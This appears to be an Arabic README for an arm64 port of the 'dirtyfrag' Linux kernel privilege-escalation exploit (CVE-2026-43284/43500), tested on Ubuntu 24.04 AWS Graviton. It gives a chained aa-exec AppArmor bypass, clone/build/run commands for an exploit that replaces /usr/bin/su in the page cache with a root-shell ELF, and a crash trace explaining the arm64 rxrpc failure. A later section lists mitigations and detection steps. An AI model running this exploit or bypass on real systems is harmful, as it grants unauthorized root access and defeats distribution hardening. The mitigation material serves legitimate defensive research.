
نسخة arm64/aarch64 من V4bel/dirtyfrag (CVE-2026-43284). يدعم ESP فقط — مسار rxrpc يُحدث kernel oops على arm64 بسبب flush_dcache_page
منفذ arm64/aarch64 من V4bel/dirtyfrag (CVE-2026-43284, CVE-2026-43500).
تم اختباره على Ubuntu 24.04.4 LTS مع linux-aws 6.17.0-1013-aws على AWS Graviton (الأحدث المتاح وقت كتابة هذا).
شرح كامل مع تحليل تجاوز AppArmor، وملاحظات التقوية، وملاحظات الكشف: linnemanlabs.com/posts/porting-dirtyfrag-arm64
لدى Ubuntu اثنان من sysctls الخاصة بـ AppArmor:
يمكن تجاوز كلاهما عن طريق تسلسل aa-exec مع نفسه باستخدام ملفات التعريف الموجودة في صور Ubuntu السحابية وصور المثبّت القياسية التي اختبرتها:
aa-exec -p crun -- aa-exec -p crun -- ./dirtyfrag_arm64 --force-esp
لمزيد من المعلومات، راجع Two Hops and a Shell للتحليل الكامل لتجاوز Ubuntu AppArmor.
يستخدم PoC الأصلي x86_64 مسارين للاستغلال: مسار ESP/xfrm الذي يفسد /usr/bin/su، ومسار احتياطي rxrpc/rxkad يفسد /etc/passwd. على arm64، يتسبب مسار rxrpc في انهيار النواة (kernel oops) ولا يمكن استخدامه. مسار ESP يعمل بشكل نظيف.
flush_dcache_pageعلى x86_64، تكون flush_dcache_page() بلا عملية (no-op). تمتلك x86 مخابئ بيانات/تعليمات متماسكة عبر العتاد. على arm64، تقوم بصيانة حقيقية للـ dcache وتفك مرجع البيانات الوصفية struct page*. عندما يستدعي مسار التشفير rxrpc (rxkad_secure_packet -> crypto_pcbc_encrypt -> skcipher_walk_done) الدالة flush_dcache_page على صفحة تم التلاعب بمرجعها عبر سلسلة splice/vmsplice، يتجاوزها x86_64 بصمت بينما يصطدم arm64 بخطأ ترجمة (translation fault) وينهار (oops):
pc : flush_dcache_page+0x18/0x58
lr : skcipher_walk_done+0xbc/0x260
crypto_pcbc_encrypt+0xe8/0x1c8 [pcbc]
crypto_skcipher_encrypt+0x48/0xb8
rxkad_secure_packet+0x108/0x270 [rxrpc]
rxrpc_send_data+0x264/0x550 [rxrpc]
على أنظمة arm64 التي اختبرتها، أدى رفض كتابة uid_map إلى إزالة مسار ESP العامل. قد يظل الـ namespace يُنشأ، لكن العملية لا تستطيع تعيين نفسها إلى root داخله أو الحصول على capabilities الخاصة بالـ namespace اللازمة لإعداد XFRM. لم يوفر مسار rxrpc الاحتياطي مسارًا عمليًا لتصعيد الامتيازات بدون namespace على arm64، بل تسبب في انهيار النواة oops بدلاً من ذلك.
على arm64، كان مسار ESP فقط هو الوحيد القابل للتطبيق في اختباري. يتطلب هذا المسار إنشاء user namespace و network namespace ثم تعيين المستخدم المستدعي بنجاح إلى root داخل ذلك namespace. يمكن أن تكسر تقوية التوزيعة هذا المسار بطرق مختلفة: يمكن لـ Ubuntu رفض كتابة uid_map من خلال قيود AppArmor userns؛ لم أختبر على Debian/RHEL.
على صورة Ubuntu 24.04 AWS التي اختبرتها، منع apparmor_restrict_unprivileged_userns=1 الاستغلال المباشر من قشرة SSH العادية الخاصة بي عن طريق رفض كتابة uid_map داخل الـ namespace الجديد.
ومع ذلك، مع القيمة الافتراضية apparmor_restrict_unprivileged_unconfined=0، يمكن لمستخدم غير مقيد (unconfined) الانتقال إلى ملف تعريف موجود بوضع complain (مثل runc) عبر aa-exec وتجاوز القيد:
aa-exec -p runc -- ./dirtyfrag_arm64 --force-esp
يؤدي تعيين kernel.apparmor_restrict_unprivileged_unconfined=1 إلى حظر هذا المسار، ويُوصى به حاليًا على نطاق واسع كحل لحظر جميع المسارات. ومع ذلك، فإن إضافة aa-exec آخر يتجاوز ذلك أيضًا:
aa-exec -p crun -- aa-exec -p crun -- ./dirtyfrag_arm64 --force-esp
راجع المشاركات المرتبطة سابقًا للحصول على التفاصيل.
يستبدل الاستغلال /usr/bin/su في ذاكرة التخزين المؤقت للصفحات (page cache) بملف ELF ثابت ضئيل. يضمّن PoC الأصلي ملف ELF لـ x86_64 مع شِل كود (shellcode) لـ x86_64. يستبدل هذا المنفذ ذلك بملف ELF مكافئ لـ aarch64:
e_machine: EM_AARCH64 (183) بدلاً من EM_X86_64 (62)svc #0 بدلاً من syscall# Clone
git clone https://github.com/linnemanlabs/dirtyfrag-arm64.git
# Build
cd dirtyfrag-arm64
gcc -O0 -Wall -o dirtyfrag_arm64 dirtyfrag_arm64.c -lutil
# Run
./dirtyfrag_arm64 --force-esp
تتخطى علامة --force-esp مسار rxrpc بالكامل لضمان تجنب انهيار نواة arm64.
اعتبارًا من 2026-05-09، يأتي أحدث نواة aws متاحة لـ Ubuntu 24.04 (6.17.0-1013-aws، المبنية في 24 أبريل) بدون تصحيحات لكل من Copy Fail (CVE-2026-31431، المُعلن عنها في 29 أبريل) أو Dirty Frag (CVE-2026-43284/43500، المُعلن عنها في 7 مايو).
قم بحظر الوحدات المعرضة للخطر، وطبّق التقوية المناسبة للنظام حسب توزيعة Linux لديك.
آمن على أي نظام لا يستخدم بنشاط وضع النقل IPsec أو AFS. لمنع تحميل الوحدات، ضع ما يلي في /etc/modprobe.d/dirtyfrag.conf:
install esp4 /bin/false
install esp6 /bin/false
install rxrpc /bin/false
توصي Ubuntu أيضًا بإعادة توليد initramfs بحيث يكون الحظر موجودًا أثناء الإقلاع المبكر:
update-initramfs -u -k all
``
### إزالة أذونات القراءة من ثنائيات SUID
يحجب فئة هجوم ذاكرة التخزين المؤقت للصفحات القائمة على splice ضد أهداف ثنائيات SUID هذه. يحتاج الاستغلال إلى أذونات قراءة للملف الهدف من أجل `splice()`. لا يزال بإمكان المستخدمين تنفيذ الثنائيات.
**لا تنفذ هذا دون اختباره في بيئتك وعبر جميع أدواتك.**
```bash
chmod o-r /usr/bin/su
هذا ليس إصلاحًا، بل تخفيف فقط. هناك العديد من المسارات الأخرى لتصعيد الامتيازات.
لتفريغ الوحدات من النظام قيد التشغيل:
rmmod esp4 esp6 ipcomp4 ipcomp6 rxrpc 2>/dev/null
تأكد من تفريغها:
grep -qE '^(esp4|esp6|rxrpc) ' /proc/modules \
&& echo "Affected modules are loaded" \
|| echo "Affected modules are NOT loaded"
يجب أن يؤدي مسح ذاكرة التخزين المؤقت للصفحات إلى إزالة المحتويات الخبيثة والتسبب في قراءة الملفات من القرص مرة أخرى.
echo 3 > /proc/sys/vm/drop_caches
ملاحظة: حصلت على بعض النتائج غير المتسقة مع هذا، لكن كلما حاولت إعادة إنتاج الأمر كلما عمل كما هو متوقع. بالنسبة لهذا PoC، يمكنك التحقق من md5sum على /usr/bin/su، وإذا لم يتطابق، أعد التشغيل.
نفّذ خطوة مسح ذاكرة التخزين المؤقت للصفحات، ثم تحقق بعد ذلك باستخدام:
sha256sum /usr/bin/su
# Or from package manager:
dpkg -V util-linux # Debian/Ubuntu
rpm -V util-linux # RHEL/Amazon Linux
للحصول على وضعية أكثر استباقية تعالج فئة الثغرات هذه بالكامل (وليس فقط CVEs المحددة)، راجع الشرح الكامل لقيود AppArmor userns، ومنع التحميل المسبق للوحدات، والكشف في وقت التشغيل القائم على Tetragon بالإضافة إلى قواعد YARA.
flush_dcache_page، بحث AppArmor، ملاحظات الكشفهذه الأداة مخصصة للاختبارات الأمنية والبحث المصرح به فقط.
الاستخدام غير المصرح به ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها غير قانوني وغير أخلاقي.
MIT. انسخه، اسرقه، عدّله، تعلم منه، شاركني تحسيناتك. أو لا تفعل. إنه كود، افعل به ما تشاء.
| الخاصية | القيمة |
|---|
| المثيل | AWS t4g.micro (Graviton2) |
| نظام التشغيل | Ubuntu 24.04.4 LTS |
| النواة | 6.17.0-1013-aws #13~24.04.1-Ubuntu (مبنية في 2026-04-24) |
| البنية | aarch64 |
unprivileged_userns_clone | 1 (مفعّل) |
| وحدة esp4 | متوفرة، قابلة للتحميل |
| وحدة rxrpc | متوفرة، قابلة للتحميل (لكنها تنهار على arm64) |
| الإعداد | صورة ubuntu 24.04 السحابية القياسية، وحدات النواة الافتراضية |